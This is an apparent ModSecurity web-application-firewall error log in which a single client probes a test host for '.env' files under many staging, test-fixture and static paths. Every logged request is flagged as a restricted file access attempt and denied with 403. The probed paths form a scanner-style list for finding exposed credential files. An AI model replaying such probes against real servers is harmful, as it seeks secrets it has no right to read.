[Wed Feb 25 06:05:38.110739 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkgAAAAU&quot;]
[Wed Feb 25 06:05:38.172351 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJgAAAAc&quot;]
[Wed Feb 25 06:05:38.172629 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJgAAAAc&quot;]
[Wed Feb 25 06:05:38.172799 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJgAAAAc&quot;]
[Wed Feb 25 06:05:38.242706 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkwAAAAU&quot;]
[Wed Feb 25 06:05:38.242994 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkwAAAAU&quot;]
[Wed Feb 25 06:05:38.243179 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkwAAAAU&quot;]
[Wed Feb 25 06:05:38.245059 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJwAAAAc&quot;]
[Wed Feb 25 06:05:38.245315 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJwAAAAc&quot;]
[Wed Feb 25 06:05:38.245482 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJwAAAAc&quot;]
[Wed Feb 25 06:05:38.319228 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZKAAAAAc&quot;]
[Wed Feb 25 06:05:38.319497 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZKAAAAAc&quot;]
[Wed Feb 25 06:05:38.319668 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZKAAAAAc&quot;]
[Wed Feb 25 06:05:38.485534 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlgAAAAU&quot;]
[Wed Feb 25 06:05:38.485814 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlgAAAAU&quot;]
[Wed Feb 25 06:05:38.486001 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlgAAAAU&quot;]
[Wed Feb 25 06:05:38.554103 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlwAAAAU&quot;]
[Wed Feb 25 06:05:38.554402 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlwAAAAU&quot;]
[Wed Feb 25 06:05:38.554617 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDlwAAAAU&quot;]
[Wed Feb 25 06:05:38.601063 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmAAAAAU&quot;]
[Wed Feb 25 06:05:38.601420 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmAAAAAU&quot;]
[Wed Feb 25 06:05:38.601601 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmAAAAAU&quot;]
[Wed Feb 25 06:05:38.621594 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/node_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54gAAAAM&quot;]
[Wed Feb 25 06:05:38.621852 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54gAAAAM&quot;]
[Wed Feb 25 06:05:38.622031 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54gAAAAM&quot;]
[Wed Feb 25 06:05:38.709667 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54wAAAAM&quot;]
[Wed Feb 25 06:05:38.709972 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54wAAAAM&quot;]
[Wed Feb 25 06:05:38.710159 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DIrZegw_qLbSTRXm54wAAAAM&quot;]
[Wed Feb 25 06:05:38.735375 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-collected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmQAAAAU&quot;]
[Wed Feb 25 06:05:38.735642 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmQAAAAU&quot;]
[Wed Feb 25 06:05:38.735812 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmQAAAAU&quot;]
[Wed Feb 25 06:05:38.762731 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmgAAAAU&quot;]
[Wed Feb 25 06:05:38.762958 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDmgAAAAU&quot;]
